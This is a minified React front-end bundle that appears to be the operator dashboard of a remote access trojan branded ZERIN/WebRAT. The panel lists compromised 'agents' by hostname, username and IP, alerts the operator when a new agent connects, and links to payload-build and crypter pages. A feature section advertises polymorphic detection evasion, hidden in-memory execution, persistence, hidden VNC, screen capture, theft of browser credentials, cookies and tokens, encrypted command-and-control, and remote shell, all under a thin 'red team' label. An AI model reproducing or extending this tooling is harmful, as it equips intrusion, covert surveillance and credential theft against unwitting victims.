box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"};
opacity:0;
animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards;
`,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,a=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=`
position:absolute;left:${a}%;top:${o}%;
width:${i}px;height:${i}px;
background:${u};border-radius:50%;
box-shadow:0 0 8px ${u}, 0 0 16px ${u}40;
--synth-dx:${l}px;--synth-dy:${c}px;
animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards;
`,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let Ug=0,qf=0;function bA(e,t){const n=Date.now();if(n-Ug<40)return;Ug=n,qf=(qf+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=qf<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function wA(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,a=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=`
left:${a}vw;width:${i}px;height:${i}px;
clip-path:${o};
border:1.5px solid ${r};
box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30;
background:${r}08;
`,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function jA(){const[e,t]=p.useState(!1),n=p.useRef([]),r=p.useRef();return p.useEffect(()=>{function i(a){var u,d;const o=(u=a.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=a.target)!=null&&d.isContentEditable)return;const l=a.key.length===1?a.key.toLowerCase():a.key;n.current.push(l);const c=Wg.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);Wg.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?gA():(vA(),yA()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),p.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),p.useEffect(()=>{if(!e)return;const i=a=>bA(a.clientX,a.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),p.useEffect(()=>{if(!e)return;const i=()=>{wA(),a=setTimeout(i,5e3+Math.random()*5e3)};let a=setTimeout(i,2e3);return()=>clearTimeout(a)},[e]),{isActive:e}}const kA={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},NA={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},SA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},zA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},CA={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function sd({status:e,size:t="md",showLabel:n=!1}){return s.jsxs("span",{className:"inline-flex items-center gap-2",children:[s.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block rounded-full ${kA[t]} ${SA[e]}`})]}),n&&s.jsx("span",{className:`font-mono font-medium tracking-wider ${NA[t]} ${zA[e]}`,children:CA[e]})]})}function PA({open:e,onClose:t,agents:n}){const[r,i]=p.useState(""),[a,o]=p.useState(0),l=p.useRef(null),c=ur(),u=p.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(m=>m.hostname.toLowerCase().includes(f)||m.username.toLowerCase().includes(f)||m.internal_ip.includes(f)||m.external_ip.includes(f)||m.id.toLowerCase().includes(f)).slice(0,10).map(m=>({type:"agent",id:m.id,primary:m.hostname,secondary:`${m.username}${m.internal_ip}`,agent:m}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username}${f.internal_ip}`,agent:f}))},[r,n]);p.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),p.useEffect(()=>{o(0)},[r]);const d=p.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return p.useEffect(()=>{if(!e)return;function f(m){if(m.key==="Escape"){t();return}m.key==="ArrowDown"&&(m.preventDefault(),o(h=>Math.min(h+1,u.length-1))),m.key==="ArrowUp"&&(m.preventDefault(),o(h=>Math.max(h-1,0))),m.key==="Enter"&&u[a]&&(m.preventDefault(),d(u[a]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,a,t,d]),e?s.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[s.jsx("div",{className:"absolute inset-0 bg-black/60"}),s.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),s.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),s.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?s.jsx("div",{className:"px-4 py-8 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):s.jsxs("div",{className:"py-1",children:[!r&&s.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,m)=>s.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(m),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${m===a?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&s.jsx(sd,{status:f.agent.status,size:"sm"}),s.jsxs("div",{className:"min-w-0 flex-1",children:[s.jsx("p",{className:`text-sm font-medium truncate ${m===a?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),s.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),s.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let Ji={status:"idle",payloadName:"",startedAt:0,error:""};const jm=new Set;function od(){jm.forEach(e=>e())}function pj(){return Ji}function mj(e){return jm.add(e),()=>jm.delete(e)}function EA(e){Ji={status:"building",payloadName:e,startedAt:Date.now(),error:""},od()}function AA(){Ji={...Ji,status:"success"},od()}function Vg(e){Ji={...Ji,status:"error",error:e},od()}function Hg(){Ji={status:"idle",payloadName:"",startedAt:0,error:""},od()}const ld=p.createContext({lastMessage:null}),_A=[{to:"/dashboard",label:"Dashboard",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})}],OA={to:"/crypter",label:"Crypter",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},TA={to:"/admin",label:"Admin",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function MA(){const e=p.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return s.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>s.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function LA(){const{logout:e,isAdmin:t}=ls(),r=p.useSyncExternalStore(mj,pj).status==="building",a=aj()==="rat_crypter"||t,o=[..._A,...a?[OA]:[],...t?[TA]:[]],l=ur(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:m,isSupported:h}=oA(),[x,g]=p.useState(!1),[y,v]=p.useState([]),{isActive:b,handleStatusClick:w}=xA(),{isActive:j}=jA(),[k,S]=p.useState(!1),N=p.useRef(""),z=p.useRef(null);p.useEffect(()=>{function I(U){var M,F;if(k||U.ctrlKey||U.metaKey||U.altKey)return;const D=(M=U.target)==null?void 0:M.tagName;D==="INPUT"||D==="TEXTAREA"||D==="SELECT"||(F=U.target)!=null&&F.isContentEditable||U.key.length===1&&(N.current+=U.key.toLowerCase(),N.current.length>20&&(N.current=N.current.slice(-10)),z.current&&clearTimeout(z.current),z.current=setTimeout(()=>{N.current=""},3e3),N.current.includes("credits")&&(N.current="",S(!0)))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[k]),p.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const _=p.useCallback(async()=>{try{const I=await oj();v(I)}catch{}},[]);p.useEffect(()=>{_();const I=setInterval(_,15e3);return()=>clearInterval(I)},[_]);const A=p.useCallback(I=>{if(I.type==="agent_update"){const U=I.payload;v(D=>{const M=D.findIndex(F=>F.id===U.id);if(M>=0){const F=[...D];return F[M]=U,F}return m("New Agent Connected",`${U.hostname} (${U.internal_ip})`),[U,...D]})}if(I.type==="event"){const U=I.payload;(U.type==="task_completed"||U.type==="task_failed")&&m("Task Update",U.message)}},[m]),{isConnected:O,lastMessage:P}=sA({onMessage:A});return p.useEffect(()=>{function I(U){(U.metaKey||U.ctrlKey)&&U.key==="k"&&(U.preventDefault(),g(D=>!D))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[]),s.jsx(ld.Provider,{value:{lastMessage:P},children:s.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[s.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[s.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:s.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"femboy-ear femboy-ear-left"}),s.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),s.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),s.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),s.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r
text-zerin-text-muted border border-zerin-panel-border\r
hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r
transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Search..."}),s.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),s.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:I,label:U,icon:D})=>s.jsx(SE,{to:I,end:I==="/dashboard",className:({isActive:M})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150
${M?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:M})=>s.jsxs(s.Fragment,{children:[M&&s.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),s.jsx("span",{className:M?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:D}),s.jsx("span",{className:"font-medium",children:U}),I==="/payloads"&&r&&s.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},I))}),s.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&s.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r
text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r
transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),s.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${O?"bg-zerin-accent":"bg-zinc-600"}`}),s.jsx("span",{className:O?"text-zerin-text-dim":"text-zerin-text-muted",children:O?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),s.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r
text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r
transition-colors duration-150`,children:[s.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[s.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),s.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),s.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),s.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:s.jsx(dE,{})}),s.jsx(PA,{open:x,onClose:()=>g(!1),agents:y}),b&&s.jsx(MA,{}),k&&s.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>S(!1),style:{animation:"credits-in 0.5s ease-out"},children:[s.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),s.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[s.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:`
_______ ______ ______ _____ __ _
/ |______ |_____/ | | \\ |
/ |______ | \\_ __|__ | \\_|
`}),s.jsxs("div",{className:"space-y-4 mb-10",children:[s.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),s.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),s.jsx("style",{children:`
@keyframes credits-in {
from { opacity: 0; }
to { opacity: 1; }
}
@keyframes glitch-appear {
0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); }
50% { transform: scale(1.02) translateY(-2px); filter: blur(0); }
100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); }
}
@keyframes credits-glow {
from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); }
to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); }
}
@keyframes credit-slide {
from { opacity: 0; transform: translateY(15px); }
to { opacity: 1; transform: translateY(0); }
}
`})]})]})})}const IA=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let k=0;k<c;k++){const S=k/c*.07;u[k]=`rgba(6,182,212,${S.toFixed(4)})`}const d=60;let f=0,m=0,h=0,x=0,g;function y(){n.width=window.innerWidth,n.height=window.innerHeight,f=Math.ceil(n.width/d)+1,m=Math.ceil(n.height/d)+1,h=n.width/2,x=n.height/2,g=new Float32Array(m*f);for(let k=0;k<m;k++)for(let S=0;S<f;S++){const N=S*d-h,z=k*d-x;g[k*f+S]=Math.sqrt(N*N+z*z)*.005}}y(),window.addEventListener("resize",y);let v=null;function b(){v=document.createElement("canvas"),v.width=n.width,v.height=n.height;const k=v.getContext("2d");k.fillStyle="rgba(0,0,0,0.12)";for(let S=0;S<v.height;S+=4)k.fillRect(0,S,v.width,1)}b();function w(k){if(i=requestAnimationFrame(w),k-o<l)return;o=k,a+=.003*(l/16.67);const S=n.width,N=n.height;r.clearRect(0,0,S,N);const z=Math.PI*2;let _=0;for(let A=0;A<m;A++){const O=A*d;for(let P=0;P<f;P++){const U=(Math.sin(g[_++]-a)*.5+.5)*c|0;r.fillStyle=u[U<c?U:c-1],r.beginPath(),r.arc(P*d,O,1,0,z),r.fill()}}v&&v.width===S&&v.height===N&&r.drawImage(v,0,0)}i=requestAnimationFrame(w);const j=()=>{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function DA(e,t=40,n=0){const r=p.useRef(null),i=p.useRef(null),[a,o]=p.useState(!1);return p.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:a}}const RA=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input 